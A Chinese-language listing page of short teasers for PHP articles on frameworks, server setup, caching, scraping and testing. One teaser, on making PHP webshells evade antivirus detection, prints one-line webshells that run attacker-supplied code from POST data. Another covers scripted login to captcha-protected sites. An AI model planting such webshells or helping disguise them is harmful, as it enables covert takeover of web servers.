查询到最新的12条

mphpjukf——一个强大的PHP框架

mphpjukf是一个高性能、轻量级、易于开发和扩展的PHP框架。它采用了先进的MVC设计模式,并且支持常用的缓存、路由、日志等功能。此外,mphpjukf还支持多语言、多应用等特性,使得开发者能够轻松地构建各种类型的Web应用。 一、安装和使用 使用mphpjukf来构建Web应用首先需要进行安装。可以通过github下载源码,并将其运行在PHP环境中。具体安装步骤如下: git clone https://github.com/mphpjukf/mphp 继续阅读

php有哪些开源社区,PHP开源社区

简介 Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名,被存放在 resources/views 继续阅读

Nginx服务器究竟是怎么执行PHP项目

CGI本身可以看成是一种协议标准,它可以用任何一种语言编写具体的符合该接口标准的协议存在,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。 其实下面几个概念理解了,本文所要解释的问题你也就理解了。 CGI CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。 继续阅读

Apache2与PHP5 for WinXP简单配置技巧

一.php的安装与调试 由于php是一个zip文件(非install版),安装较为简单,解压就行。把解压的 php5.2.1-Win32重命名为 php5。并复制到C盘目录下。即安装路径为 c:\php5 1 找到php目录下的 php.ini-dist或 php.ini.recommended文件,重命名为 php.ini 并复制到系统盘的windows目录下(以c:\windows为例). 2 再把php目录下的ph 继续阅读

phpstudy下载安装简明图文教程

很多朋友在学习php的过程中会看到phpstudy这个东西,那么phpstudy是做什么的呢?有什么用?接下来的这篇文章将个大家来详细的介绍一下phpstudy的内容。 首先在百度百科上对于phpstudy的定义是一个PHP调试环境的程序集成包。 该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境,该程序不仅包括PHP调试环境,还包括了开发工具、开 继续阅读

【Redis】缓存一致性

文章目录缓存一致性读缓存**双检加锁**策略写缓存保障最终数据一致性解决方案先更新数据库,再更新缓存案例演示1->更新缓存异常案例演示2->并发导致先更新缓存,再更新数据库案例演示->并发导致先删除缓存,再更新数据库案例演示->并发导致解决策略->延时双删先更新数据库,再删除缓存(推荐~~)案例演示1->更新缓存异常解决策略->消息队列重试写Redis缓存如何选方案Redis与MySQL数据双写一 继续阅读

佐仔志运行环境升级记…

前几天看到新闻说PHP发布7.2版本,性能有很大的提升同时内存占用有所降低。佐仔志运行环境日常虽有升级,但都是以系统补丁为主,而PHP还是7.0.1、数据库MariaDB还是10.1、缓存redis版本还是停留在一年以前。周末有空,那就折腾折腾吧。 1、备份好数据 先把系统升级到最新的补丁,然后重启。重启后做一个镜像备份,以防升级失败直接回滚既可。升级之前的VPS资源占用情况如下图。  2、升级折腾 SSH远程登陆VPS,下载最新的Oneinstack一键安装包,具体的升级方法请看这里。就是 继续阅读

php爬取天猫和淘宝商品数据

一、思路 最近做了一个网站用到了从网址爬取天猫和淘宝的商品信息,首先看了下手机端的网页发现用的react,不太了解没法搞,所以就考虑从PC入口爬取数据,但是当爬取URL获取数据时并没有获取价格,库存等的信息,仔细研究了下发现是异步请求了另一个接口,但是接口要使用refer才能获取数据,于是就通过以下方式写了一个简单的爬虫,用于爬取商品预览图和商品的第一个分类的价格、库存等。 二、实现 代码如下: php;" > function crawlUrl($url){ impor 继续阅读

windows server 2008/2012安装php iis7 mysql环境搭建教程

windows server 2008/2012安装php iis7 mysql环境搭建教程,具体内容如下 1.安装iis windows server 2008的iis版本为7.0,包括fastcgi,安装十分方便。 打开“开始”菜单→“服务器管理”,出现服务器管理界面(图1) 图1 - 服务器管理 滚动条下翻,或者点击主菜单的“角色”,然后点 继续阅读

PHP使用CURL实现对带有验证码的网站进行模拟登录的方法

网上的很多模拟登录程序,大都是通过服务程序apache之类的运行,获取到验证码之后显示在网页上,然后填上再POST出去,这样虽然看起来很友好,但是既然模拟登录,登录后所干的事情就不一定是短时间完成的,所以这就要受到php最大执行时间的限制,而且有些操作还有可能权限不足。 本文提供了一个程序实例,思路就是获取到验证码之后把验证码存储为一个图片,然后程序休眠20秒,在20秒之后由用户手动查看图片,并把验证码填写到code.txt文件中,20秒休眠完成后,程序会读code. 继续阅读

免杀实战之面向PHP的WebShell免杀

0X00普通的一句话木马 <pre id="PTXkG"><?php eval($_POST['a']); ?> //函数的相似替换 <?php assert($_POST['a']); ?></pre> <?php @eval($_POST['110']);?>与第一个一句话木马相比多了一个"@“字符,我们发现这个字符的 继续阅读

CentOS环境下安装PHPUnit的方法分析

本文实例讲述了CentOS环境下安装PHPUnit的方法。分享给大家供大家参考,具体如下: PHPUnit之于PHP正如JUnit之于Java,是PHP程序员用来写单元测试代码的工具。由于上级要求员工写代码时也要写单元测试代码,于是我在网上搜集相关资料,并整理了一套符合自己虚拟机环境的PHPUnit安装方法。 要求: 系统:centos5.4 PHP版本:php5.3. 一、安装Pear 首先要安装最新的pear。安装命令如下: 继续阅读